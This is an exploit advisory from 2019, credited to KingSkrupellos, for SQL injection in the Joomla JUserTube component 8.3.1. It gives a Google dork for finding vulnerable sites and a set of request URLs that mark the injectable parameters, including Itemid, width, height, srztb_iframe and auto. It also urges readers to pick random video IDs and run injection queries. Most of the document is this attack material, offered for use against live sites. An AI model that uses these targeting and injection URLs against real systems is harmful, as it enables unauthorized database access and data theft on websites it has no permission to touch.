####################################################################

# Exploit Title : Joomla JUserTube Components 8.3.1 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 31/01/2019
# Vendor Homepage : srizon.com
# Software Download Link : srizon.com/product/jusertube/
# Software Information Link : extensions.joomla.org/extension/jusertube/
# Software Version : 8.3.1 and other previous versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_jusertube''
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

####################################################################

# Description about Software :
***************************
JUserTube is a Joomla Extension for showing YouTube videos into your Joomla website. 

####################################################################

# Impact :
***********

* An attacker might be able inject and/or alter existing 

SQL statements which would influence the database exchange.

* SQL injection vulnerability in the Joomla JUserTube Components 8.3.1 because,

it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

* On the other hand, this component jusertube for Joomla! allows 

remote attackers to execute arbitrary SQL commands 

via the " Itemid=, width=, srztb_iframe=,  st=no&height=, &auto= " 

with different parameters action to index.php.

* Exploiting this issue could allow an attacker to compromise the application, read,

access or modify data, or exploit latent vulnerabilities in the underlying database. 

If the webserver is misconfigured, read & write access to the filesystem may be possible.

####################################################################

# SQL Injection Exploit :
**********************

/index.php?option=com_jusertube&view=fullpage&Itemid=[SQL Injection]

/index.php?option=com_jusertube&view=lightbox&rid=&yuser=
[YOUR-REGISTRATION-NAME-]&auto=
[ID-NUMBER]&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=
yes&rid=[YOUTUBE-VUDEO-ID-NUMBER]&height=[ID-NUMBER]&width=[SQL Injection]

/index.php?option=com_jusertube&view=lightbox&rid=&yuser=
[YOUTUBE-CHANNEL-NAME-HERE]&auto=[ID-NUMBER]&eh=
[ID-NUMBER]&ew=[ID-NUMBER]&st=
yes&rid=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]&height=
[ID-NUMBER]&width=[ID-NUMBER]&srztb_iframe=[SQL Injection]

/index.php?option=com_jusertube&view=lightbox&yuser=atlantarc
&auto=[ID-NUMBER]&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=
yes&rid=[YOUTUBE-VUDEO-ID-NUMBER]&height=[ID-NUMBER]&width=[SQL Injection]

/index.php?option=com_jusertube&view=
lightbox&rid=[YOUTUBE-VUDEO-ID-NUMBER]&yuser=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]
&auto=1&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=yes&height=[ID-NUMBER]&width=[SQL Injection]

/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VUDEO-ID-NUMBER]
&yuser=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]&auto=[ID-NUMBER]
&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=no&height=[SQL Injection]

/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VUDEO-ID-NUMBER]
&yuser=[YOUTUBE-VUDEO-ID-NUMBER]&auto=[ID-NUMBER]
&eh=[ID-NUMBER]&ew=[SQL Injection]

/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VUDEO-ID-NUMBER]
&yuser=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]&auto=[ID-NUMBER]
&eh=[SQL Injection]

/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VUDEO-ID-NUMBER]
&yuser=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]&auto=[SQL Injection]

####################################################################

Example Youtube Video Id Number and Youtube Playlist Video ID Number => 
*****************************************************************

Find any random video and playlist id numbers and use SQL injection queries on com_jusertube. 

youtube.com/watch?v=[YOUTUBE-VIDEO-ID-NUMBER]
&feature=youtu.be&list=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

####################################################################